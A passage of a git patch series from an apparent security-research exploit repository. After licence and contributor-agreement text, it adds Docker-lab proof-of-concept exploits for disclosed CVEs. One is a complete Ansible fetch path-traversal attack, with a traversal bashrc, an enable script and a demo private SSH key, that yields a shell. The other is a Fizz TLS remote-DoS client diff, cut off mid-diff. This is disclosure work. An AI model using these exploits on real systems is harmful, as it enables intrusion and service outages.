copyright owner that is making this Agreement with Semmle. For legal entities, the entity making a Contribution and all other entities that control, are controlled by, or are under common control with that entity are considered to be a single Contributor. For the purposes of this definition, "control" means (i) the power, direct or indirect, to cause the direction or management of such entity, whether by contract or otherwise, or (ii) ownership of fifty percent (50%) or more of the outstanding shares, or (iii) beneficial ownership of such entity. + + * "Contribution(s)" shall mean the code, documentation or other original works of authorship, including any modifications or additions to an existing work, submitted by You to Semmle for inclusion in, or documentation of, any of the products or projects owned or managed by Semmle (the "Work(s)"). For the purposes of this definition, "submitted" means any form of electronic, verbal, or written communication sent to Semmle or its representatives, including but not limited to communication on electronic mailing lists, source code control systems, and issue tracking systems that are managed by, or on behalf of, Semmle for the purpose of discussing and/or improving the Work, but excluding communication that is conspicuously marked or otherwise designated in writing by You as "Not a Contribution." + +2. **Grant of Copyright License**. You hereby grant to Semmle and to recipients of software distributed by Semmle a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable copyright license to reproduce, prepare derivative works of, publicly display, publicly perform, sublicense, and distribute Your Contributions and such derivative works. + +3. **Grant of Patent License**. You hereby grant to Semmle and to recipients of software distributed by Semmle a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable (except as stated in this section) patent license to make, have made, use, offer to sell, sell, import, and otherwise transfer the Work, where such license applies only to those patent claims licensable by You that are necessarily infringed by Your Contribution(s) alone or by combination of Your Contribution(s) with the Work to which such Contribution(s) was submitted. If any entity institutes patent litigation against You or any other entity (including a cross-claim or counterclaim in a lawsuit) alleging that Your Contribution, or the Work to which You have contributed, constitutes direct or contributory patent infringement, then any patent licenses granted to that entity under this Agreement for that Contribution or Work shall terminate as of the date such litigation is filed. + +4. **Ownership**. Except as set out above, You keep all right, title, and interest in Your Contribution. The rights that You grant to us under this Agreement are effective on the date You first submitted a Contribution to us, even if Your submission took place before the date You entered this Agreement. + +5. **Representations**. You represent and warrant that: (i) the Contributions are an original work and that You can legally grant the rights set out in this Agreement; (ii) the Contributions and Semmle’s exercise of any license rights granted hereunder, does not and will not, infringe the rights of any third party; (iii) You are not aware of any pending or threatened claims, suits, actions, or charges pertaining to the Contributions, including without limitation any claims or allegations that any or all of the Contributions infringes, violates, or misappropriate the intellectual property rights of any third party (You further agree that You will notify Semmle immediately if You become aware of any such actual or potential claims, suits, actions, allegations or charges). + +6. **Employer**. If Your employer(s) has rights to intellectual property that You create that includes Your Contributions, You represent and warrant that Your employer has waived such rights for Your Contributions to Semmle, or that You have received permission to make Contributions on behalf of that employer and that You are authorized to execute this Agreement on behalf of Your employer. + +7. **Inclusion of Code**. We determine the code that is in our Works. You understand that the decision to include the Contribution in any project or source repository is entirely that of Semmle, and this agreement does not guarantee that the Contributions will be included in any product. + +8. **Disclaimer**. You are not expected to provide support for Your Contributions, except to the extent You desire to provide support. You may provide support for free, for a fee, or not at all. Except as set forth herein, and unless required by applicable law or agreed to in writing, You provide Your Contributions on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND. + +9. **General**. The failure of either party to enforce its rights under this Agreement for any period shall not be construed as a waiver of such rights. No changes or modifications or waivers to this Agreement will be effective unless in writing and signed by both parties. In the event that any provision of this Agreement shall be determined to be illegal or unenforceable, that provision will be limited or eliminated to the minimum extent necessary so that this Agreement shall otherwise remain in full force and effect and enforceable. This Agreement shall be governed by and construed in accordance with the laws of the State of California in the United States without regard to the conflicts of laws provisions thereof. In any action or proceeding to enforce rights under this Agreement, the prevailing party will be entitled to recover costs and attorneys’ fees. diff --git a/COPYRIGHT b/COPYRIGHT new file mode 100644 index 0000000..65d947f --- /dev/null +++ b/COPYRIGHT @@ -0,0 +1,13 @@ +Copyright (c) Semmle Inc and other contributors. All rights reserved. + +Licensed under the Apache License, Version 2.0 (the "License"); you may not use +this file except in compliance with the License. You may obtain a copy of the +License at http://www.apache.org/licenses/LICENSE-2.0 + +THIS CODE IS PROVIDED ON AN *AS IS* BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +KIND, EITHER EXPRESS OR IMPLIED, INCLUDING WITHOUT LIMITATION ANY IMPLIED +WARRANTIES OR CONDITIONS OF TITLE, FITNESS FOR A PARTICULAR PURPOSE, +MERCHANTABLITY OR NON-INFRINGEMENT. + +See the Apache Version 2.0 License for specific language governing permissions +and limitations under the License. diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..d9a10c0 --- /dev/null +++ b/LICENSE @@ -0,0 +1,176 @@ + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding those notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS diff --git a/LICENSE.md b/LICENSE.md deleted file mode 100644 index 0a645b1..0000000 --- a/LICENSE.md +++ /dev/null @@ -1,13 +0,0 @@ -Copyright 2018 Semmle Ltd. - -Licensed under the Apache License, Version 2.0 (the "License"); -you may not use this file except in compliance with the License. -You may obtain a copy of the License at - - http://www.apache.org/licenses/LICENSE-2.0 - -Unless required by applicable law or agreed to in writing, software -distributed under the License is distributed on an "AS IS" BASIS, -WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -See the License for the specific language governing permissions and -limitations under the License. diff --git a/NOTICE.md b/NOTICE.md deleted file mode 100644 index 67410cb..0000000 --- a/NOTICE.md +++ /dev/null @@ -1,2 +0,0 @@ -## Semmle Security Exploits -Copyright 2018 Semmle Ltd. From 88adec0cd2cbc33992647d57a9e7bef224474062 Mon Sep 17 00:00:00 2001 From: Kevin Backhouse Date: Fri, 22 Feb 2019 21:01:22 +0000 Subject: [PATCH 10/14] Exploit PoC for path traversal vulnerability in Ansible (CVE-2019-3828). --- Ansible/fetch_CVE-2019-3828/README.md | 99 +++++++++++++++++++ Ansible/fetch_CVE-2019-3828/server/Dockerfile | 20 ++++ .../server/home/.ssh/authorized_keys | 1 + .../server/home/scripts/bashrc | 2 + .../server/home/scripts/enable_exploit.sh | 6 ++ Ansible/fetch_CVE-2019-3828/zeuss/Dockerfile | 26 +++++ .../zeuss/home/.ssh/id_ed25519 | 7 ++ .../zeuss/home/.ssh/id_ed25519.pub | 1 + .../zeuss/home/config/ansible.cfg | 2 + .../zeuss/home/config/inventory.d/inventory | 2 + .../zeuss/home/config/myfetch.yml | 7 ++ 11 files changed, 173 insertions(+) create mode 100644 Ansible/fetch_CVE-2019-3828/README.md create mode 100644 Ansible/fetch_CVE-2019-3828/server/Dockerfile create mode 100644 Ansible/fetch_CVE-2019-3828/server/home/.ssh/authorized_keys create mode 100644 Ansible/fetch_CVE-2019-3828/server/home/scripts/bashrc create mode 100755 Ansible/fetch_CVE-2019-3828/server/home/scripts/enable_exploit.sh create mode 100644 Ansible/fetch_CVE-2019-3828/zeuss/Dockerfile create mode 100644 Ansible/fetch_CVE-2019-3828/zeuss/home/.ssh/id_ed25519 create mode 100644 Ansible/fetch_CVE-2019-3828/zeuss/home/.ssh/id_ed25519.pub create mode 100644 Ansible/fetch_CVE-2019-3828/zeuss/home/config/ansible.cfg create mode 100644 Ansible/fetch_CVE-2019-3828/zeuss/home/config/inventory.d/inventory create mode 100644 Ansible/fetch_CVE-2019-3828/zeuss/home/config/myfetch.yml diff --git a/Ansible/fetch_CVE-2019-3828/README.md b/Ansible/fetch_CVE-2019-3828/README.md new file mode 100644 index 0000000..8cce332 --- /dev/null +++ b/Ansible/fetch_CVE-2019-3828/README.md @@ -0,0 +1,99 @@ +# Path traversal vulnerability in Ansible fetch module (CVE-2019-3828) + +This directory contains a proof-of-concept exploit for [CVE-2019-3828](https://access.redhat.com/security/cve/cve-2019-3828), a path-traversal vulnerability in Ansible's [fetch module](https://docs.ansible.com/ansible/latest/modules/fetch_module.html). The scenario for the demo is that there are two computers, named "server" and "zeuss". The former is a member of a server farm managed using Ansible. The latter machine belongs to a systems adminstrator who is responsible for managing the server farm. The system administrator's username is "bofh". Now imagine that an attacker has managed to infiltrate one of the server machines and is able to run arbitrary commands as the "bofh" user. But the attacker does not know bofh's password, so is not able to access other user accounts, or other computers, such as zeuss. + +Ansible's fetch module is used to copy files from the servers back to the system adminstrator's computer. In this demo, the system administrator is going to download `.ssh/authorized_keys` from the server to check that it hasn't been tampered with. But the attacker is going to exploit a path traversal vulnerability in the fetch module and overwrite the system administrator's own `.ssh/authorized_keys`. + +The demo uses [docker](https://www.docker.com/) to simulate the two computers. See below for instructions. + +## Network setup + +Create a docker network bridge, to simulate a network with two separate computers. + +``` +docker network create -d bridge --subnet 172.16.0.0/16 ansible-demo-network +``` + +## Server setup + +Build the docker image: + +``` +docker build ./server -t ansible-server +``` + +Start the container: + +``` +docker run --rm --network ansible-demo-network --ip=172.16.0.10 -h server -i -t ansible-server +``` + +Inside the container, start `sshd` to enable remote access from zeuss. + +``` +tmux # this step is optional: it enables you to open multiple terminals inside docker +sudo service ssh start # sudo password is "x" (this is the only time that sudo is used) +``` + +## Zeuss setup + +In a new terminal, build the docker image for zeuss. + +``` +docker build ./zeuss -t ansible-zeuss +``` + +Start the container: + +``` +docker run --rm --network ansible-demo-network --ip=172.16.0.11 -h zeuss -i -t ansible-zeuss +``` + +Inside the container: + +``` +source ./ansible/hacking/env-setup # Add Ansible to the path +tmux # this step is optional: it enables you to open multiple terminals inside docker +sudo service ssh start # sudo password is "x" +``` + +## Running the exploit + +First, let us see how the fetch module is *supposed* to work. On zeuss, run the following commands: + +``` +cd /home/bofh/config +ansible-playbook myfetch.yml +``` + +This copies `authorized_keys` from the server to the following locatino on `zeuss`: + +``` +/home/bofh/config/fetched/172.16.0.10/home/bofh/.ssh/authorized_keys +``` + +Note that the file has been placed safely in a subdirectory of the current directory. + +Now let's enable the exploit on the server. Run the following commands on the server: + +``` +ssh-keygen -t ed25519 -f /home/bofh/.ssh/id_ed25519 # Create a new ssh key +cat /home/bofh/.ssh/id_ed25519.pub >> /home/bofh/.ssh/authorized_keys # Add new key to authorized_keys +cd /home/bofh/scripts +./enable_exploit.sh +``` + +Now go back to zeuss and run the same fetch playbook as before: + +``` +cd /home/bofh/config +ansible-playbook myfetch.yml +``` + +The `authorized_keys` file has now been overwritten. Which means that the attacker can ssh into zeuss. Run this command on the server: + +``` +ssh 172.16.0.11 +``` + +The attacker has a shell on zeuss! diff --git a/Ansible/fetch_CVE-2019-3828/server/Dockerfile b/Ansible/fetch_CVE-2019-3828/server/Dockerfile new file mode 100644 index 0000000..1ab8488 --- /dev/null +++ b/Ansible/fetch_CVE-2019-3828/server/Dockerfile @@ -0,0 +1,20 @@ +FROM ubuntu:bionic + +RUN apt-get update && \ + apt-get install -y \ + ansible git curl zip unzip psmisc \ + tmux sudo emacs openssh-server net-tools \ + gcc + +# Create a user account named "bofh" (which will have sudo privileges). +RUN adduser bofh --disabled-password + +# Grant the 'bofh' user sudo access (only so that we can start sshd). +RUN adduser bofh sudo +RUN echo "bofh:x" | chpasswd +COPY home/ /home/bofh/ +RUN chown -R bofh:bofh /home/bofh + +# Switch over to the 'bofh' user, since root access is no longer required +USER bofh +WORKDIR /home/bofh diff --git a/Ansible/fetch_CVE-2019-3828/server/home/.ssh/authorized_keys b/Ansible/fetch_CVE-2019-3828/server/home/.ssh/authorized_keys new file mode 100644 index 0000000..0af042f --- /dev/null +++ b/Ansible/fetch_CVE-2019-3828/server/home/.ssh/authorized_keys @@ -0,0 +1 @@ +ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOMlKzkE3eZi8hNuNzp03Jz95dBu6621V8HstIJJgisT bofh@zeuss diff --git a/Ansible/fetch_CVE-2019-3828/server/home/scripts/bashrc b/Ansible/fetch_CVE-2019-3828/server/home/scripts/bashrc new file mode 100644 index 0000000..5c6401e --- /dev/null +++ b/Ansible/fetch_CVE-2019-3828/server/home/scripts/bashrc @@ -0,0 +1,2 @@ +cd /home/bofh/k/e/v/w/o/z/e/r/e +export HOME=../../../../../../../../../home/bofh diff --git a/Ansible/fetch_CVE-2019-3828/server/home/scripts/enable_exploit.sh b/Ansible/fetch_CVE-2019-3828/server/home/scripts/enable_exploit.sh new file mode 100755 index 0000000..7a3c9ce --- /dev/null +++ b/Ansible/fetch_CVE-2019-3828/server/home/scripts/enable_exploit.sh @@ -0,0 +1,6 @@ +#!/bin/bash +mkdir -p /home/bofh/k/e/v/w/o/z/e/r/e +mkdir -p /home/bofh/home +ln -s /home/bofh/ /home/bofh/home/bofh +cd /home/bofh/scripts +cp /home/bofh/scripts/bashrc /home/bofh/.bashrc diff --git a/Ansible/fetch_CVE-2019-3828/zeuss/Dockerfile b/Ansible/fetch_CVE-2019-3828/zeuss/Dockerfile new file mode 100644 index 0000000..7126d60 --- /dev/null +++ b/Ansible/fetch_CVE-2019-3828/zeuss/Dockerfile @@ -0,0 +1,26 @@ +FROM ubuntu:bionic + +RUN apt-get update && \ + apt-get install -y \ + git curl zip unzip psmisc \ + tmux sudo emacs openssh-server net-tools x11-apps \ + build-essential libssl-dev libffi-dev python-dev \ + python-setuptools python-jinja2 python-yaml + +# Create a non-root user account to run Ansible. +RUN adduser bofh --disabled-password + +# Grant the 'bofh' user sudo access, so that we can start sshd. +RUN adduser bofh sudo +RUN echo "bofh:x" | chpasswd +COPY home/ /home/bofh/ +RUN chown -R bofh:bofh /home/bofh + +# Switch over to the 'bofh' user, since root access is no longer required +USER bofh +WORKDIR /home/bofh + +# Get vulnerable version of Ansible source code. +RUN git clone https://github.com/ansible/ansible.git && \ + cd ansible && \ + git checkout f9f7b29a5a5543e8d1c25e8cc1f2d3040d8536b7 diff --git a/Ansible/fetch_CVE-2019-3828/zeuss/home/.ssh/id_ed25519 b/Ansible/fetch_CVE-2019-3828/zeuss/home/.ssh/id_ed25519 new file mode 100644 index 0000000..28082e7 --- /dev/null +++ b/Ansible/fetch_CVE-2019-3828/zeuss/home/.ssh/id_ed25519 @@ -0,0 +1,7 @@ +-----BEGIN OPENSSH PRIVATE KEY----- +b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW +QyNTUxOQAAACDjJSs5BN3mYvITbjc6dNyc/eXQbuuttVfB7LSCSYIrEwAAAJDuQrmQ7kK5 +kAAAAAtzc2gtZWQyNTUxOQAAACDjJSs5BN3mYvITbjc6dNyc/eXQbuuttVfB7LSCSYIrEw +AAAEATobJL9MLSQNtHem7bzn8zp7dLWqdqP5VQo3Ma61L9+eMlKzkE3eZi8hNuNzp03Jz9 +5dBu6621V8HstIJJgisTAAAACmJvZmhAemV1c3MBAgM= +-----END OPENSSH PRIVATE KEY----- diff --git a/Ansible/fetch_CVE-2019-3828/zeuss/home/.ssh/id_ed25519.pub b/Ansible/fetch_CVE-2019-3828/zeuss/home/.ssh/id_ed25519.pub new file mode 100644 index 0000000..0af042f --- /dev/null +++ b/Ansible/fetch_CVE-2019-3828/zeuss/home/.ssh/id_ed25519.pub @@ -0,0 +1 @@ +ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOMlKzkE3eZi8hNuNzp03Jz95dBu6621V8HstIJJgisT bofh@zeuss diff --git a/Ansible/fetch_CVE-2019-3828/zeuss/home/config/ansible.cfg b/Ansible/fetch_CVE-2019-3828/zeuss/home/config/ansible.cfg new file mode 100644 index 0000000..d65fdc1 --- /dev/null +++ b/Ansible/fetch_CVE-2019-3828/zeuss/home/config/ansible.cfg @@ -0,0 +1,2 @@ +[defaults] +inventory = inventory.d diff --git a/Ansible/fetch_CVE-2019-3828/zeuss/home/config/inventory.d/inventory b/Ansible/fetch_CVE-2019-3828/zeuss/home/config/inventory.d/inventory new file mode 100644 index 0000000..feced69 --- /dev/null +++ b/Ansible/fetch_CVE-2019-3828/zeuss/home/config/inventory.d/inventory @@ -0,0 +1,2 @@ +[servers] +172.16.0.10 diff --git a/Ansible/fetch_CVE-2019-3828/zeuss/home/config/myfetch.yml b/Ansible/fetch_CVE-2019-3828/zeuss/home/config/myfetch.yml new file mode 100644 index 0000000..84b723e --- /dev/null +++ b/Ansible/fetch_CVE-2019-3828/zeuss/home/config/myfetch.yml @@ -0,0 +1,7 @@ +--- +- hosts: servers + tasks: + - name: Fetch authorized_keys + fetch: + src: ~/.ssh/authorized_keys + dest: fetched From b7ff6b2f1bb764e9a7279555898b2670c1b92368 Mon Sep 17 00:00:00 2001 From: Kevin Backhouse Date: Thu, 4 Apr 2019 10:38:41 +0100 Subject: [PATCH 11/14] Add PoC for CVE-2019-3560 (Facebook Fizz). --- Facebook/Fizz/CVE-2019-3560/README.md | 80 +++++ .../Fizz/CVE-2019-3560/attacker/Dockerfile | 58 ++++ .../Fizz/CVE-2019-3560/attacker/home/diff.txt | 75 ++++ .../CVE-2019-3560/attacker/home/poc/Makefile | 2 + .../CVE-2019-3560/attacker/home/poc/poc.c | 327 ++++++++++++++++++ Facebook/Fizz/CVE-2019-3560/server/Dockerfile | 51 +++ .../CVE-2019-3560/server/home/certs/ca.config | 46 +++ .../CVE-2019-3560/server/home/certs/clean.sh | 9 + .../server/home/certs/create-certs.sh | 18 + .../server/home/certs/server.config | 45 +++ 10 files changed, 711 insertions(+) create mode 100644 Facebook/Fizz/CVE-2019-3560/README.md create mode 100644 Facebook/Fizz/CVE-2019-3560/attacker/Dockerfile create mode 100644 Facebook/Fizz/CVE-2019-3560/attacker/home/diff.txt create mode 100644 Facebook/Fizz/CVE-2019-3560/attacker/home/poc/Makefile create mode 100644 Facebook/Fizz/CVE-2019-3560/attacker/home/poc/poc.c create mode 100644 Facebook/Fizz/CVE-2019-3560/server/Dockerfile create mode 100644 Facebook/Fizz/CVE-2019-3560/server/home/certs/ca.config create mode 100755 Facebook/Fizz/CVE-2019-3560/server/home/certs/clean.sh create mode 100755 Facebook/Fizz/CVE-2019-3560/server/home/certs/create-certs.sh create mode 100644 Facebook/Fizz/CVE-2019-3560/server/home/certs/server.config diff --git a/Facebook/Fizz/CVE-2019-3560/README.md b/Facebook/Fizz/CVE-2019-3560/README.md new file mode 100644 index 0000000..60c81c3 --- /dev/null +++ b/Facebook/Fizz/CVE-2019-3560/README.md @@ -0,0 +1,80 @@ +# Remote DOS in Facebook Fizz (CVE-2019-3560) + +[Fizz](https://github.com/facebookincubator/fizz) contains a remotely triggerable infinite loop. It is due to an integer overflow in this [compound assignment](https://github.com/facebookincubator/fizz/blob/eaa81af854bef509c3c1d7c83df0cd0b084a0fef/fizz/record/PlaintextRecordLayer.cpp#L42). For more details about the bug, see this [blog post](https://lgtm.com/blog/facebook_fizz_CVE-2019-3560). + +The scenario for the demo is that there are two computers, named "fizz-server" and "fizz-attacker". The attacker sends a malicious message which triggers an infinite loop on the server. The demo uses [docker](https://www.docker.com/) to simulate the two computers. See below for instructions. + +## Network setup + +Create a docker network bridge, to simulate a network with two separate computers. + +``` +docker network create -d bridge --subnet 172.18.0.0/16 fizz-demo-network +``` + +## Server setup + +Build the docker image: + +``` +docker build server -t fizz-server --build-arg UID=`id -u` +``` + +Start the container: + +``` +docker run --rm --network fizz-demo-network --ip=172.18.0.10 -i -t fizz-server +``` + +If you want to be able to debug the fizz server, then you need to start the container with some extra command line arguments: + +``` +docker run --rm --network fizz-demo-network --ip=172.18.0.10 --cap-add=SYS_PTRACE --security-opt seccomp=unconfined -i -t fizz-server +``` + +Inside the container, run this script to create some certs: + +``` +cd ~/certs +./create-certs.sh +``` + +Start the server: + +``` +~/fizz/build_/bin/fizz server -accept 1443 -cert ~/certs/server-cert.pem -key ~/certs/server-key.pem +``` + +Note: TLS servers normally listen on port 443, rather than 1443. But root privileges are required to listen on 443, so you need to run the above command with `sudo` if you want to change the port number to 443. The `sudo` password in this docker container is "x". + +## Attacker setup + +Build the docker image: + +``` +docker build attacker -t fizz-attacker --build-arg UID=`id -u` +``` + +Start the container: + +``` +docker run --rm --network fizz-demo-network --ip=172.18.0.11 -i -t fizz-attacker +``` + +Send the malicious message to the server: + +``` +./poc/poc 172.18.0.10 1443 +``` + +The source code for the PoC can be found in `poc.c`. + +### Original PoC + +The original PoC, which I sent to Facebook when I first reported the vulnerability, is far less polished than `poc.c`, above. But it may be of interest because it shows how I tweaked the Fizz client to send the malicious message. The changes which I made can be found in `diff.txt`. (These changes were already applied during the `docker build` step, above.) You can run this version of the PoC like this: + +``` +~/fizz/build_/bin/fizz client -connect 172.18.0.10:1443 +``` + +This command will not return because it is waiting for a response from the server, which will never come. But you can just ctrl-C it, and the server will continue to be stuck in an infinite loop. diff --git a/Facebook/Fizz/CVE-2019-3560/attacker/Dockerfile b/Facebook/Fizz/CVE-2019-3560/attacker/Dockerfile new file mode 100644 index 0000000..641f8f2 --- /dev/null +++ b/Facebook/Fizz/CVE-2019-3560/attacker/Dockerfile @@ -0,0 +1,58 @@ +FROM ubuntu:bionic + +RUN apt-get update && \ + apt-get install -y \ + sudo tmux screen emacs git gdb net-tools g++ cmake \ + libboost-all-dev libevent-dev libdouble-conversion-dev \ + libgoogle-glog-dev libgflags-dev libiberty-dev liblz4-dev \ + liblzma-dev libsnappy-dev make zlib1g-dev binutils-dev \ + libjemalloc-dev libssl-dev pkg-config libsodium-dev + +ARG UID=1000 + +# Create a non-root user account to run Fizz. +RUN adduser attacker --disabled-password --uid $UID + +# Grant the 'attacker' user sudo access. This is not used for the +# demo, but it is often handy for installing extra packages. +RUN adduser attacker sudo +RUN echo "attacker:x" | chpasswd +COPY home/ /home/attacker/ +RUN chown -R attacker:attacker /home/attacker + +# Switch over to the 'attacker' user, since root access is no longer required +USER attacker +WORKDIR /home/attacker + +# Build the PoC +RUN cd poc && make + +# The original PoC used a modified version of Fizz. So we need to +# clone and build Folly, which Fizz depends on. +RUN git clone https://github.com/facebook/folly && \ + cd folly && \ + git checkout df5a0575d95f3c2cc9200b15e40db4af82e1f2eb && \ + mkdir build_ && cd build_ && \ + cmake .. && \ + make -j $(nproc) + +# Install Folly. +USER root +RUN cd /home/attacker/folly/build_ && make install +USER attacker + +# Build the original PoC, which I sent to Facebook when I first +# reported the vulnerability. It is a modified version of Fizz. (Note +# the `git apply` immediately after the `git checkout`.) +RUN git clone https://github.com/facebookincubator/fizz && \ + cd fizz && \ + git checkout eaa81af854bef509c3c1d7c83df0cd0b084a0fef && \ + git apply ~/diff.txt && \ + mkdir build_ && cd build_ && \ + cmake ../fizz && \ + make -j $(nproc) + +# Install modified Fizz. +USER root +RUN cd /home/attacker/fizz/build_ && make install +USER attacker diff --git a/Facebook/Fizz/CVE-2019-3560/attacker/home/diff.txt b/Facebook/Fizz/CVE-2019-3560/attacker/home/diff.txt new file mode 100644 index 0000000..5138ec4 --- /dev/null +++ b/Facebook/Fizz/CVE-2019-3560/attacker/home/diff.txt @@ -0,0 +1,75 @@ +diff --git a/fizz/client/ClientProtocol.cpp b/fizz/client/ClientProtocol.cpp +index 8804de7..82bdbbd 100644 +--- a/fizz/client/ClientProtocol.cpp ++++ b/fizz/client/ClientProtocol.cpp +@@ -450,7 +450,7 @@ static ClientHello getClientHello( + chlo.extensions.push_back(encodeExtension(std::move(modes))); + } + +- if (earlyDataParams) { ++ if (true || earlyDataParams) { + chlo.extensions.push_back(encodeExtension(ClientEarlyData())); + } + +@@ -1186,6 +1186,8 @@ Actions EventHandler< + } else { + encodedClientHello = encodeHandshake(std::move(chlo)); + handshakeContext->appendToTranscript(encodedClientHello); ++ encodedClientHello->reserve(0, 0x11000); ++ encodedClientHello->append(0x11000); + } + + auto earlyDataType = state.earlyDataType() == EarlyDataType::Attempted +@@ -1194,7 +1196,7 @@ Actions EventHandler< + + WriteToSocket clientFlight; + auto chloWrite = +- state.writeRecordLayer()->writeHandshake(encodedClientHello->clone()); ++ state.writeRecordLayer()->writeAppData(encodedClientHello->clone()); + + bool sentCCS = state.sentCCS(); + folly::Optional ccsWrite; +diff --git a/fizz/client/FizzClientContext.h b/fizz/client/FizzClientContext.h +index 9def034..7508098 100644 +--- a/fizz/client/FizzClientContext.h ++++ b/fizz/client/FizzClientContext.h +@@ -220,7 +220,7 @@ class FizzClientContext { + 